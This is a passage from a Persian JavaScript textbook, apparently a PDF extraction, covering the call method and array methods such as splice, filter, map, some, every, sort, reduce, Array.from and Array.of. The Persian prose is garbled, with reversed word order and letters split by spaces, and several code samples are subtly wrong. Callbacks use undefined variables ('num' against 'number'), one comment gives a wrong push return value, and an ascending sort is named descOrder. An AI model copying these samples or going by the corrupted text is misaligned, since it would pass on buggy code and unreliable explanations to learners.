نوچ و هدر ک تف ا ی ر د ا ر )رظن د روم object هدو د ح م ر د ار ج ا ن ا و ن ع هب ب یت رت ه ب ید ع ب یاه رت م ا را پ و م یه دی م س ا پ ا ر this ،ت سی ن ص ا خ object کی ه ب ط وب ر م ل ا س ر ا ع بات هب ر براک ن س ن ا و ن ع هب 26 ا جنیا ر د ه ک د ن وشیم هداد س ا پ ع بات هب ی دو رو ناموگرآ .د وشیم م و ه فم ات م ی ن ک ر ک ذ call دتم ی ار ب لوا object رت م ا را پ ز ا هد افت سا یار ب scope کی د وجو ز ا ی لاثم د ی ر ا ذ گ ب ز ا scope کی لخاد ر د getFullName م ا ن ه ب ی ع بات ری ز دک ه کت ر د .م یه د هئا ر ا رتل ماک ا ر لوا رت م ا را پ :دی ن ک ه دها ش م ، داد م ا جنا ی ف لت خم لک ش هب ا ر call ن ا وتیم ل اح ، تسا هتفر گ ر ار ق User م ا ن ه ب ی ا object var User = { getFullName: function () { return this .name + this .family; } } var userOne = { name: “Ali” , family: “Ahmadi” , }; var userTwo = { name: “Reza” , family: “Karimi” , }; User.getFullName.call(userOne); // “Ali Ahmadi” سپ ، دشابیم User یار ب ه دش فیرعت object ز ا دتم کی getFullName دتم نوچ ، ق و ف ل اثم ر د ع بات ب یت رت نی دب و هداد هئا ر ا ا ر User هد افت سا یار ب زای ن د روم object ، call دتم ی ار ج ا اب م ی نا وتیم 78 اهن آ ین ورد ر اتخا س و عب او ت ","طس وت ، تسا لوا ر براک تاع لا ط ا هج یت ن ر د و م ی ن ک ار ج ا د و خ رظن د روم یات ید اب ا ر getFullName .د وشیم پ اچ ل وس ن ک ر د Ali Ahmadi هتشر و ه دش هد افت سا getFullName دتم دوری م ر ا ظتنا شخب نیا ه ع لا ط م زا س پ .دیشاب هدر ک ا دی پ تخ ا ن ش نآ یاه در براک و ع ب ا وت د روم ر د .د یر ی گ ب را ک ب ا ر اهنآ زای ن تروص ر د و هتخ ومآ ا ر )هتخ ا ن شا ن( م ا ن ی ب ع ب ا وت ز ا هد افت سا ه و حن ع بات م ز لا ع ق ا وم ر د و هدر ک تف ا ی ر د ع بات لک ش هب ی رت م ا را پ ه ک دی ن ک فیرعت یع ب ا وت دی نا وتب .د نن ک ی نا و خارف ا ر یت ف ا ی ر د .دیشاب ه دش هجوتم لا ماک ا ر نآ ز ا هد افت سا ه و حن و prototype م و ه فم نیا ر د ا ر dunder proto م و ه فم دی نا وتب و هدر ک ک ر د ا ر constructor و prototype هر ی جن ز .دی ن ک هد افت سا و هداد ی اج هر ی جن ز .دیشاب هجوتم ا ر نآ ز ا یر یگو ل ج ها ر و prototype ز ا تس ر د ا ن هد افت سا ی اها طخ نآ اب ا ر یلاثم و هدر ک هد افت سا ه یلو ا object هئا ر ا نا ک م ا اب ع ب ا وت ی نا و خارف یار ب call دتم ز ا .دی ن ک ار ج ا 79 مراه چ شخ ب ","","م جنپ شخب object و هی ار آ هتفر شیپ ثحابم ر تلابا هب ت رم ع باوت ها ر مه ه ب ∞ :شخب فادها ا ه هی ار آ ی ا ه دتم ید رک ر اک کرد و ییانشآ ا هن آ ز ا هد افتس ا ه ق یر ط و ا ه هی ار آ ه ب ش اب ییانشآ هی ار آ تخاس فلتخم ی ا ه شو ر اب ییانشآ و ه س یا ق م ا ه object ی د ی لک ع ب اوت اب ییانشآ ا ه دتم ی ر یج نز ین او خ ا ر ف و method chaining موه فم کرد ر تلا اب ه بت رم ع ب اوت اب ییانشآ ","[ اه هی ار آ ی اه دت م هد افت سا نا ک م ا ه ک د نت سه د وجوم اهه یا رآ یور ر ب ع ب ا وت ز ا ی بو خ رایسب ع و نت ت پ یرکساو اج ر د .د ن زا سی م م ه ارف اه هداد ز ا ه عو مج م ن یا یو ر ر ب ا ر فلت خم یاهیرا کتسد و تا ن ا ک م ا ز ا هب هک اهنآ ز ا یدا د عت ه ب م ی ن کیم ی عس ش خب ن یا ر د ، اهه یا رآ یور ر ب ع ب ا وت د ا ی ز ع و نت ل یل د ه ب یل ماک ح یضوت ، ل اثم د ن چ نایب اب ما دک ر ه د روم ر د و ه راش ا ، د نر یگیم ر ار ق زای ن د روم هدرت سگ تروص .م یه د هئا ر ا هجوت ، دو ریم راک هب ی رگید هداد ع و ن ر ه اب ه یا رآ کی ل ا صتا یار ب دتم ن یا : concat دت م .در ک concat هیا رآ کی اب ن ا وتیم ا ر ع ب ا وت ات دا دع ا ز ا ینعی ،هداد ع و ن ر ه م ی ی وگیم یتقو هک د وش :ل اثم ی ار ب 82 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","[ 2 , 4 ].concat( 3 ); // [2,4,3] [ 2 , 4 ].concat( “test” ); // [2,4,”test”] [ 2 , 4 ].concat([ 3 ]); // [2,4,3] [ 2 , 4 ].concat({a: 2 }); // [2,4,{a:2}] [ 2 , 4 ].concat([ 3 ],[ 5 ]); // [2,4,3,5] هب دتم ن یا یل ک رات خ ا س ،میدر ک ه دها ش م ا ر ه یا رآ کی اب ندش concat ل باق هداد عا و نا ز ا ع و ن د ن چ :تسا ری ز لک ش array1.concat(value2, value3,..., valueX) نی د ن چ اب هک دشابیم هد ا س یت ای لم ع ه یا رآ ز ا ف ذح و ج ر د تیری دم : pop و push ی اهدت م و د ی دج ی رصن ع ج ر د یار ب push ز ا هد افت سا اه شو ر ز ا یکی ،د وشیم م ا جنا ی گ د ا س ه ب و شو ر push دتم هک دیشاب هتش اد ر طا خ ه ب هت ب ل ا ، دشابیم ه یا رآ رصن ع ن یرخ آ ف ذح ی ار ب pop ز ا هد افت سا ر ا د ق م ،ه یا رآ یا هتنا ز ا رصن ع ف ذح ز ا د ع ب pop دتم و د نار گیم زاب ا ر ه یا رآ ندش ج ر د لح م سی د نا :ل اثم ی ار ب .ده دی م تش گزاب ا ر ه دش ف ذح رصن ع var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; array.pop(); // 6 array.pop(); // 5 array.push( 9 ); // 4 console .log(array); // [1,2,3,4,9] تش گزاب دشابیم 6 ه ک ،نآ ر ا د ق م و د وشیم ف ذح ه یا رآ ز ا مش ش رصن ع pop ع بات ل ا م ع ا ن یلو ا اب ه دش هداد تش گزاب نآ ر ا د ق م و ه دش ف ذح زی ن مجنپ رصن ع دتم ن یا د د ج م ی ار ج ا اب ، د وشیم هداد سی د نا و ه دش د ا جیا 4 سی د نا اب د ی دج ی رصن ع 9 ر ا د ق م اب push دتم ی نا و خارف اب س پ س ،تسا .د وشیم هداد تش گزاب نآ :تسا ری ز لک ش هب pop، push ی اهدتم رات خ ا س array.push(item1, item2,..., itemX) array.pop() // no parameter 83 مج نپ شخب "," کی ز ا هد افت سا اب ه یا رآ ر صا ن ع نیب ل ا صتا د ا جیا و هت شر هب ه یا رآ لی د بت یار ب : join دت م :ل اثم ی ار ب ، د وشیم هد افت سا دتم ن یا ز ا ه د نن ک ا دج [ “ali” , “reza” , “mohammad” ].join( “_” ); // “ali_reza_mohammad نآ ف ذح ز ا سپ یت ح و هدر ک ف ذح ا ر رصن ع m د نا وتیم n سی د نا ز ا دتم ن یا : splice دت م هک د وش هجوت . )تسا ی رایت خا د روم ن یا( د ن ک ن یزگی اج اهنآ یاج هب ا ر ید ی دج رید ا ق م ر صا ن ع :ل اثم .د نت سه ه یا رآ ز ا ه دش ف ذح ر صا ن ع ،دتم ن یا یتش گزاب ر ا د ق م var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; array.splice( 1 , 2 , “newOne” , “newTwo” ); // returns [2,3] console .log(array); // [1, “newOne”, “newTwo”, 4, 5, 6] تف ا ی ر د اب دتم ن یا . ده دی م ه ئا ر ا splice دتم درکلم ع ه و حن ه رابر د هتکن نی د ن چ ، ق و ف هد ا س ل اثم د نا وتیم ، مود رت م ا را پ ن ا و ن ع هب )2(رظن د روم ر صا ن ع دا د عت و لوا رت م ا را پ ن ا و ن ع هب )1(عور ش سی د نا نیا رگید ی گژ یو ز ا ام ق و ف ل اثم ر د ام ا ، د ن ک ف ذح رظن دم ه یا رآ ز ا ا ر 3 و 2 رصن ع و د لکش م نودب یاج هب ید ی دج ر صا ن ع ، رظن د روم ر صا ن ع ندش ف ذح اب م یه ا و خی م و میاهدر ک هد افت سا ز ی ن دتم هب array هیا رآ ر ییغت ار ج ا هج یت ن و میا هداد س ا پ دتم هب ا ر د ی دج رت م ا را پ ود سپ ،م ی ن ک ج ر د اهنآ .دشابیم ام رظن د روم لک ش :تسا ری ز لک ش هب splice دتم ی ل ک رات خ ا س array.splice(index, howmany, item1, ..... , itemX) یار ب د نا وتیم ،دشابیم ار ج ا و سرتسد ل باق ی اهیا رآ ر ه یور ر ب هک دتم ن یا : forEach دت م :ل اثم ی ار ب ،د ن ک نات کم ک ه یا رآ ر صا ن ع کت کت یو ر ر ب ن د ز ه قل ح var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; array.forEach( function ( item ) { console .log(item); // output: 1 2 3 4 5 6 }); 84 اه ه ی ارآ ه ت فر شی پ ثح ا بم "," هد افت سا د روم ه یا رآ ر د یرصن ع ن د وب د وجوم ی س ر ر ب ی ار ب د نا وتیم دتم ن یا : includes دت م هج یت ن و یس ر ر ب رظن د روم ه یا رآ یور ر ب ا ر نآ ن د وب د وجوم ، رظن د روم ی دو رو تف ا ی ر د اب و در یگ ر ار ق :ل اثم ی ار ب .د نادر گیم ر ب false ا ی true var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; array.includes( 2 ); // output: true array.includes( 7 ); // output: false :د و من ی زا سهد ای پ ری ز تروص هب indexOf ع بات ز ا هد افت سا اب ا ر دتم ن یا لد ا ع م ن ا وتیم هت ب ل ا var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; (array.indexOf( 2 ) > -1 ); // output: true (array.indexOf( 7 ) > -1 ); // output: false نآ ن د وب د وجوم یا نع م هب د وب -1 ز ا رت گرزب ر گ ا ،رظن د روم رصن ع دا د خ ر لح م ی س ر ر ب اب لک ش ن یا ه ب :تسا ری ز لک ش هب includes دتم ی ل ک رات خ ا س . دشابیم رظن د روم ه یا رآ یور ر ب array.includes(element, fromIndex) fromIndex مود رت م ا را پ ی ه د ر ا د ق م اب ن ا وتیم دتم ن یا ر د ،د وشیم ه دها ش م ق و ف هن و من ه ک رو طن ا م ه .داد م ا جنا د ع ب هب س کد نیا نآ ز ا ،ا ر ه یا رآ یور ر ب رظند روم ر ا د ق م ن د وب د وجوم ی ار ب و جت سج د ا جیا ا ر ید ی دج ه یا رآ ، رت م ا را پ ن ا و ن ع هب ه دش ه ئا ر ا طیار ش ی س ر ر ب اب دتم ن یا :filter دت م :ل اثم ی ار ب ،د ن وشیم ه ئا ر ا دتم هب ع بات ب لاق ر د طیار ش .د ن کیم var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; // just larger than 3 var filteredArray = array.filter(function( number) { return number > 3; }); console .log(filteredArray); // output: [4, 5, 6] console .log(array); // output: [1, 2, 3, 4, 5, 6] 85 مج نپ شخب ","،تسا ه د ن ام یقاب هیلو ا ی اه هداد اب و ر ییغت نودب array م ا ن اب هیلو ا هیا رآ هک م ی ن کیم ه دها ش م هیا رآ ز ا 3 ز ا رت گرزب رید ا ق م ی ا ر اد ا هنت ه ک ، ه دش د ا جیا filteredArray م ا ن ه ب ید ی دج ه یا رآ ه ک یلاحر د .دشابیم ی ل ص ا ر د د وجوم دا دع ا یو ر ر ب هک دشابیم رتل ی ف طر ش م ا جنا یار ب ه دش ه ئا ر ا ع بات ، filter دتم ی ل ص ا هتکن یا نع م هب true ر ا د ق م .د نادر گیم ر ب false ا ی true نآ ن د وب 3 ز ا رت گرزب ی س ر ر ب اب و ه دش ر ارکت هیا رآ .دشابیم ه دش رتل ی ف هیا رآ هب ند شن هف اض ا ی ا نع م هب false و ندش ه ف اض ا :د وب ده ا و خ ر ب ار ب دک و د ر ه یجو رخ و دشابیم ری ز دک ه دش ه اتوک ق و ف دک تق ی ق ح ر د // just larger than 3 var filteredArray = array.filter( function ( number ){ if (number > 3 ){ return true ; } else { return false ; } }); console .log(filteredArray); // output: [4, 5, 6] ل اثم ی ار ب ،د ن کیم د ا جیا د ی دج ی اهیا رآ ،ه یا رآ ر صا ن ع یور ر ب ن د ز ه قل ح اب دتم ن یا : map دت م :د ناه دش ر ب ار ب و د نآ ر صا ن ع م ا مت ه ک م ی ن ک د ا جیا د و خ هیا رآ یور ز ا د ی دج ه یا رآ کی م ی نا وتیم var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; var doubledArray = array.map( function ( number ){ return num * 2 ; }); console .log(doubledArray); // output [2, 4, 6, 8, 10, 12] console .log(array); // output: [1, 2, 3, 4, 5, 6] false ا ی true ع بات ن یا ، د یر ی گن ه ا بت ش ا filter دتم اب ه دش ه ئا ر ا ع بات اب ا ر ،دتم ن یا اب ه دش ه ئا ر ا ع بات ا ر م یشاب هتش اد م یه ا و خی م ه یا رآ ز ا رظن د روم سی د نا ر د ه ک ید ی دج ر ا د ق م ه کل ب ،د نادر گی من زاب ر صا ن ع ن در ک map ینعی ، د ش کیم شود ر ب ع بات ن ا و ن ع هک یتیلوئسم نا م ه ع ق او ر د و د ن کیم نایب .ده دی م م ا جنا ا ر ه یا رآ 86 اه ه ی ارآ ه ت فر شی پ ثح ا بم "," هداد هئا ر ا طیار ش ل و مش م ه یا رآ ر صا ن ع ز ا یکی ل ق ا دح هک د ن کیم ی س ر ر ب دتم ن یا : some دت م :ل اثم ی ار ب .ده دی م تش گزاب true ن د وب ح ی ح ص تروص ر د و دشاب ه دش var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; // has greater than 4 ? var hasLargeThanFour = array.some( function ( number ){ return num > 4 ; }); console .log(hasLargeThanFour); // output: true // has negative or zero var hasNegative = array.some( function ( number ){ return num <= 0 ; }); console .log(hasNegative); // output: false .د وب ده ا و خ true هل صاح ه ج یت ن و م ی ن کیم ک چ ا ر 4 یلا اب ی د دع د وجو ،ه یا رآ ز ا یس ر ر ب نیلو ا ر د .د ی آیم تس دب false هج یت ن و هدر ک ک چ ا ر ر فص ا ی ی ف ن م ی د دع د وجو ،ی س ر ر ب نیمو د ر د یس ر ر ب هک یروط هب ، تسا some دتم ه دش هداد ط سب ت لاح ا بیرقت دتم ن یا : every دت م ن در ک یو ر ی پ تروص ر د .ر ی خ ا ی د نن کیم یو ر ی پ ه دش ه ئا ر ا طیار ش ز ا هیا رآ ر صا ن ع م ا مت ه ک د ن کیم :ل اثم ی ار ب . د وشیم هداد تش گزاب false ترو صنیا ر ی غ ر د و true ه دش ه ئا ر ا طر ش ز ا ر صا ن ع م ا مت var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; // all elements are greater than 4 var greaterThanFour = array.every(function( num) { return number > 4; }); console .log(greaterThanFour); // output: false ن د و بن ا ی ن د وب د وجوم ی ار ب false ا ی true ر ا د ق م ، طیار ش ل ا م ع ا یار ب ه دش ه ئا ر ا ع بات ،زی ن دتم ن یا ر د هئا ر ا طر ش ز ا رید ا ق م م ا مت ه ک د ن کیم ی س ر ر ب ی لخاد تروص هب دتم د و خ تی ا هن ر د ، د نادر گیم ر ب .ده دی م تش گزاب boolean ب لاق ر د ا ر ه ج یت ن و ر ی خ ا ی د ند وب هدر ک یو ر ی پ ه دش 87 مج نپ شخب ","// all elements are less than 10 var lessThanTen = array.every(function( number){ return number < 10 }); console .log(lessThanTen); // output: true د نا وتیم و دو ریم راک هب ه یا رآ ر صا ن ع هب یه د ب یت رت و ی زا سبتر م ی ار ب sort دتم : sort دت م :ل اثم .دشاب هتش اد سک ع ر ب ا ی گ رزب هب ک چوک یزا سبتر م درکیو ر var alpha = [ ‘e’ , ‘a’ , ‘c’ , ‘u’ , ‘y’ ]; var ascOrder = alpha.sort(); console .log(ascOrder); // output: [‘a’, ‘c’, ‘e’, ‘u’, ‘y’] تروص هب ،یزا سبتر م طر ش ل ا م ع ا نودب یتح sort دتم ،ی اهت شر ر صا ن ع ل ماش ی ی اهه یا رآ د روم ر د ،م یشاب هتش اد دا دع ا ز ا یاهیا رآ ر گ ا ام ا ، ده دی م م ا جنا ی زا سبتر م فور ح س اسا ر ب ضرفش ی پ :ل اثم ی ار ب ، م یه د هئا ر ا ا ر یزا سبتر م طر ش ی س ر ر ب ی ار ب رظن د روم ع بات ت س ی ابیم var arr = [ 1 , 2 , 3 , 4 , 5 , 6 ]; // sort in descending order var descOrder = arr.sort( function ( a, b ){ return (a > b) ? -1 : 1 ; }); console .log(descOrder); // output: [6, 5, 4, 3, 2, 1] گ رزب تروص ر د و ه س ی ا ق م ا ر ه یا رآ ز ا ر ا د ق م و د ،ی زا سبتر م طر ش ه د نن ک ی س ر ر ب ع بات لا اب دک ر د هیا رآ یلوز ن ی زا سبتر م هب رجن م هک ،ده دی م تش گزاب 1 ترو صنیا ر ی غ ر د و -1 ی مو د ز ا ی لو ا ن د وب رتک چوک ی د دع ه دها ش م تروص ر د ،ی زا سبتر م طر ش ه د نن ک ی س ر ر ب ع بات ی ل ک روط هب . د وشیم تب ثم تروص ر د و ده دی م ل ا قتنا مود رت م ا را پ ز ا رتلب ق س کد نیا کی ه ب ا ر لوا رت م ا را پ ،ر فص ز ا نتفر گ رظن ر د اب . د وشیم لقتن م مود رت م ا را پ ز ا رتلا اب س کد نیا کی ه ب لوا رت م ا را پ ،هج یت ن ن د وب ق و ف ل اثم ی ار ب ه دش هتشو ن ه س ی ا ق م طر ش هک تسا ه دی س ر م ه ا م ش رکف ه ب لا ا مت ح ا ،ع وضوم ن یا ر گ ا توافتم لک ش هب ی د و ع ص یزا سبتر م ی ار ب رگید ی لاثم ر د ) ؟ه ن و گ چ (.م یس ی و ن ب رتهد ا س ا ر :م یتشو نی م ا ر ری ز دک م ی ن ک بتر م ی د و ع ص لک ش هب ا ر ه یا رآ ن یا م یت سا و خی م 88 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","var array = [ 2 , 1 , 6 , 3 , 5 , 6 ]; var descOrder = array.sort( function ( a, b ){ return a - b; }); console .log(descOrder); // output: [1, 2, 3, 5, 6, 6] ا ی و هیا رآ ر صا ن ع د دع ن یرتک چوک نت ف ا ی د نن ام ی رگید ی اه در براک ی ار ب د نا وتیم sort دتم هت ب ل ا ن ا و ن ع هب ا ر ه یا رآ رخ آ و لوا رصن ع ،یزا سبتر م ز ا سپ رو ظن م ن یا یار ب ، دو ر راک هب زی ن اهنآ ن یرت گرزب .میر یگیم رظن ر د نیرت گرزب و ن یرتک چوک رو ظن م ن یا یار ب ، در ک هد افت سا ز ی ن ر صا ن ع )یعط ق ر ی غ(یفد ا صت ش خ پ یار ب م ی نا وتیم دتم ن یا ز ا م ی ن کیم دیلوت ی د دع Math.random و یزا سبتر م طر ش ل ا م ع ا ع بات ز ا هد افت سا اب یگ د ا س ه ب م ا جنا ا ر ی فد ا صت ی زا سبتر م د نی آ رف نیا م ا جنا اب و د وب ده ا و خ ی ف ن م ا ی 0 ا ی تب ثم م ی نادیمن ه ک :ل اثم . م یه دی م var array = [ 1 , 2 , 3 , 4 , 5 , 6 ]; array.sort( function ( a, b ){ return 0.5 - Math .random() }); یفد ا صت دا دع ا ه س ی ا ق م و دیلوت نوچ ،هک تسا نیا میاه د نا و خ یعط ق ر ی غ ا ر ل اثم ن یا هکنیا ل یل د د ی اب لا وص ا تسا 3 > 2 ،تسا 2 > 1 ل اثم ی ار ب ( .د وب ده ا وخ ن یفد ا صت لا ماک یزا سبتر م ب یت رت ،تسا شیار گ رتش یب و دت فایمن ق افت ا نیا یفد ا صت د دع دیلوت اب یلو دشاب زی ن 1 ز ا رت گرزب م و س رصن ع )د وب ده ا و خ ت سخ ن ی اه س کد نیا تمس ه ب ی فد ا صت دا دع ا ندش دیلوت یاهدتم ن یرتز ی گنا ت ف گ ش ز ا یکی ه ک reduce ،ش خب ن یا دتم ن یرخ آ ن ا و ن ع هب :reduce دت م یرایسب یاه در براک ی ار ب د نا وتیم دتم ن یا .م یه دی م ر ار ق ی س ر ر ب د روم ا ر تسا هیا رآ ر د هد افت سا د روم ر ا د ق م کی هارم ه هب callback یدو رو ن ا و ن ع هب ع بات کی ز ی ن دتم ن یا ر د ،در یگ ر ار ق هد افت سا د روم .د وشیم ه ئا ر ا تای لم ع م ا جنا یار ب ن ی زا غ آ رت م ا را پ هئا ر ا ام ا ،د وش ه ئا ر ا دتم هب ت س ی ابیم و دشابیم یرا ب ج ا callback ع بات ی نعی لوا رت م ا را پ :دشابیم ری ز تروص هب دتم ن یا یل ک رات خ ا س . دشابیم یرایت خا دتم هب ن ی زا غ آ ر ا د ق م ی نعی مود 89 مج نپ شخب ","array.reduce( function ( total, currentValue, currentIndex, array ), initialValue ) د روم دصا ق م ز ا ییلا اب ف یط م ا جنا یار ب ا ر reduce دتم م ی نا وتب هک تسا ه دش ث عاب اهیگژ یو نیا ر ب ا ر یصا خ ه فیظو ما دک ر ه هک دشابیم ی دو رو ن ی د ن چ ی ا ر اد callback ع بات ، م یه د ر ار ق هد افت سا .د ن ر اد ه د ه ع یر ا د هگن ه فیظو ، د وشیم ی فرع م accumulator م ا ن اب یرایسب ع با ن م ر د ه ک total م ا ن اب لوا یدو رو ، currentIndex و currentValue م ا ن اب مود یدو رو ، د ر اد ه د ه ع ر ب ا ر رصن ع ن یا ه ب ات یجو رخ تای ل ک هب ا ر ی ل ص ا هیا رآ ، array و د ن ر اد د و خ ر د ا ر ر ارکت ل اح ر د یلعف رصن ع سی د نا و ر ا د ق م ب یت رت ه ب :هیا رآ یا ض ع ا ن در ک ب ر ض ی ار ب دتم ن یا ز ا هد افت سا هن و من . د ن کیم یر ا د هگن ل ماک تروص var numbers = [ 2 , 3 , 4 , 5 ]; var product = numbers.reduce( function ( acc, x ){ return acc * x; }, 1 ); console .log(product); // 120 دتم یجو رخ ،م ی ن کیم ب ر ض 1 ه یلو ا ر ا د ق م اب و ه دش ر ارکت هیا رآ ر صا ن ع کت کت یو ر ر ب لا اب ل اثم ر د ن ا وتیم زی ن هیا رآ ر صا ن ع رید ا ق م نتسب عم ج ی ار ب ا ی .د وب ده ا و خ هیا رآ یا ض ع ا م ا مت بر ض ل صاح ،د وش تی اعر ت س ی ابیم هک ی اهتکن طقف ،داد ر ار ق هد افت سا د روم عم ج تروص هب ا ر ل اثم نی م ه .در یگ ر ار ق ر فص یور ر ب د ی اب عم ج ی ار ب ن ی زا غ آ ر ا د ق م initialValue ر گ ا ه ک تسا نیا ت ش اد رظن دم د ی اب reduce دتم د روم ر د ه ک ی مه م ا بیرقت یهتکن .در یگیم ر ار ق هد افت سا د روم initialValue ن ا و ن ع هب ه یا رآ رصن ع نیلو ا ،د و شن هداد س ا پ دتم ن یا ه ب [ )array-like ( اههی ار آ هبش ،د نن کیم رات ف ر اهه یا رآ هی ب ش یلو د نت سی ن هیا رآ هک دور یم راک هب ی ی اه object یار ب ن ا و ن ع ن یا ز ا ما دک چ یه ،د ن ر اد ید دع یاه سی د نا اب ی ر صا ن ع و هد وب length یگژ یو یا ر اد ه ک اه object نیا هقل ح یتح و د ن ر ا د ن ،میداد حر ش ا ر اهنآ ز ا یتم سق لا اب ر د ه ک ا ر اهه یا رآ یور ر ب د وجوم یاهدتم .د ن کی من راک اهنآ یور ر ب for...in 90 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","ر د arguments ر ا د ق م ،دی ن کیم نآ ز ا ی رایسب هد افت سا و دشابیم array-like هک ی د ر ا وم ز ا یکی نیا ز ا ز ی ن یرگید د ر ا وم .دیتش ا د ن علا ط ا نآ ن د وب array-like ز ا لا ا مت ح ا ه ک ، تسا ع بات ر ه لخاد .د نت سه اهه ن و من نیا ز ا ز ی ن اه querySelector اب یباخت نا DOM ل اثم ی ار ب ،د ن ر اد د وجو اه ع و ن function testArguments (){ // error: not an array var joined = arguments .join( “, “ ); console .log( typeof arguments ); // “object” } document .querySelector( “.row” ).join( “,” ); // error: not an array typeof document .querySelector( “.row” ); // returns “object” خ ر ا طخ array-like کی یو ر ر ب اهه یا رآ ز ا یع بات ن د ز ا دص اب هک د ن ه دی م نا شن ق و ف ل اثم و د .دشابیم object زی ن اهنآ ع و ن و ده دی م [ هی ار آ تخاس یاه ش خب ر د(شی ا م ی پ ل باق یاه هداد ه عو مج م ا ی اهه یا رآ ه ب ش لی د بت یار ب : Array.from م ی نا وتب ات د و من هد افت سا دتم ن یا ز ا ن ا وتیم ی ع ق او هیا رآ هب )می وشیم ا ن شآ رتش یب ع و ن نیا اب ید ع ب :ری ز ل اثم د روم ر د .م ی ن ک هد افت سا ا طخ نودب اهنآ یور ر ب ا ر اهه یا رآ یور ر ب د وجوم ع ب ا وت function testArguments (){ var joined = Array .from( arguments ).join( “, “ ); console .log(joined); } testArguments( 1 , 2 , 3 ); // 1, 2, 3 .د و من نایب زی ن اه DOM رتهد ا س تیری دم ی ار ب ن ا وتیم ا ر ل اثم نی م ه 91 مج نپ شخب "," د روم د وش هداد س ا پ نآ هب هک ی اهداد ع و ن ر ه ز ا هیا رآ تخ ا س یار ب زی ن دتم ن یا : Array.of :ل اثم ی ار ب . در یگیم ر ار ق هد افت سا var nums = Array .of( 1 , 2 , 3 , 4 , 5 , 6 ); console .log(nums); // output: [1, 2, 3, 4, 5, 6] م ی ن ک د ا جیا ص خ ش م ل وط اب ا ق یق د یاهیا رآ م یه ا و خی م ا ضع ب : Array ه د ن زاس دت م زا هد افتسا ا ی هیا رآ ی ل ص ا object ز ا م ی نا وتیم راک ن یا م ا جنا یار ب . م یس ی و ن ب نآ ر د ا ر د و خ رظن د روم رید ا ق م و ،م ی ن ک د ا جیا ص خ ش م ل وط هب ه یا رآ ،نآ هب د دع کی ن داد س ا پ اب و م ی ن ک هد افت سا Array نا م ه :ل اثم ی ار ب const arraySizeFive = Array ( 5 ); :ت شو ن نردم ر ی غ یلک ش هب و for یاهه قل ح ز ا هد افت سا اب ا ر ق و ف تای لم ع هبا ش م ن ا وتیم هت ب ل ا const arraySizeFive = []; for ( var i = 0 ; i < 5 ; i++) { arraySizeFive[i] = i; } ،می وشیم ی اهتکن ه جوتم ، م ی ن ک ت ست ا ر ق و ف ی س ی و ن دک کبس ود و می وش ق یق د ر ا د ق م کی ر گ ا ام ا .د نت سی ن ر ب ار ب ا ن یع یلو د نت سه م ه هب هی ب ش ، ق و ف دک و د ی جو رخ هکنیا [ Array ا ب هی ار آ تخاس تلا ک ش م :دی ن ک هجوت ه یا رآ تخ ا س توافتم شو ر ه س ص و صخ ر د ری ز ل اثم هب const array1 = Array ( 7 ); const array2 = [ 7 ]; const array3 = Array .of( 7 ); console .log(array1); // [ <7 empty items> undefined ] console .log(array2); // [ 7 ] console .log(array3); // [ 7 ] 92 اه ه ی ارآ ه ت فر شی پ ثح ا بم ","رصن ع 7 نت ش اد ی ا ج ب هک م ی ن کیم ه دها ش م و تسا ه دش دیلوت ه یا رآ ه د ن زا س ز ا هد افت سا اب لوا هیا رآ رته ب تیری دم ی ار ب ت پ یرکساو اج ز ا هنا د نم شوه ی درکیو ر هک دشابیم 7 زی ا س یا ر اد ا هنت ،یع ق او .م یس ی و ن ب ا طخ یا ر اد ی اهدک ع وضوم ن یا ز ا ی هاگآ نودب تسا نکم م ام ا ،تسا هظف اح { //no index keys! length: 7 } چ یه ی ا ر اد ه ک د وشیم دیلوت ه یا رآ object کی ، Array ه د ن زا س ز ا هیا رآ تخ ا س اب تق ی ق ح ر د هب ، تسا ه دش هداد ر ار ق می ر اد رظن دم هک یز ی ا س نا م ه ر ب ار ب نآ length یگژ یو ام ا ،ت سی ن ی س ی د نا :د وب ده ا و خ undefined م ی نا وخب نآ ز ا یرصن ع هک م ی ن ک شلات ر گ ا رگید ترا ب ع const array1 = Array ( 7 ); array1[ 2 ]; // undefined د وجوم ع ب ا وت ز ا نآ یور ر ب م ی نا وتیم ، تسا هیا رآ د و خ و ت سی ن هیا رآ ه ب ش ، ه دش هت خ ا س هیا رآ نوچ یور ر ب map دتم کی م ا جنا اب ، میا هتف ا ی ا ر ه راچ ها ر سپ ،ب و خ یل ی خ ،م ی ن ک هد افت سا اهه یا رآ یور ر ب :م یشاب هتش ا د ن ا طخ رگید ات م ی ن کیم رپ 0 اب ا ر نآ یاه سی د نا م ا مت ،د و خ هیا رآ const arr = Array ( 100 ).map(function( _, i ){ return i; }); // check if index 0 is 0 ? console .log(arr[ 0 ] === undefined ); // true _ اب م یتش ا د ن ی زای ن ر ارکت د روم رصن ع هب نوچ ،ه یا رآ یور ر ب map دتم ی ار ج ا اب لا اب دک ه کت ر د بجعت نآ ه ج یت ن ند ید اب لا ا مت ح ا ه ک دشابیم console هج یت ن ر د لا ابدک هت کن .میاهدر ک یر ا ذگ مسا ر ب ار ب undefined اب نا نچم ه ام ا ،د وش رپ 0 اب م یتش اد را ظتنا هکنیا اب ،ه یا رآ ز ا 0 سی د نا . دی ن ک نآ هب ش خب ن یا ر د ه ک تسا ت پ یرکساو اج ر د ید ای ن ب لئ اسم ی رس کی ر م ا نیا ل یل د …تسا .می ز ادرپی م دا دع ا ز ا ،ر صا ن ع هب یبایت سد دی ل ک ی ار ب هک د نت سه object ،ت پ یرکساو اج یاهه یا رآ تق ی ق ح ر د :) ا بیرقت( د نر ب ار ب د ع ب دک ه عط ق و د ل اثم ی ار ب ،د نن کیم هد افت سا 93 مج نپ شخب ","[ “ali” , “mohammad” , “reza” ]; { 0 : “ali” , 1 : “mohammad” , 2 : “reza” length: 3 } هبا ش م ی درکیو ر ،ده دی م خ ر Array یلخاد ه د ن زا س ز ا هد افت سا اب ه یا رآ تخ ا س م ا گن ه هک یقافت ا , reduce , map د نن ام لا اب ه بتر م یاهدتم ز ا یت قو ل یل د ن ی م ه هب ،دشابیم اهه یا رآ ه ب ش تخ ا س و د 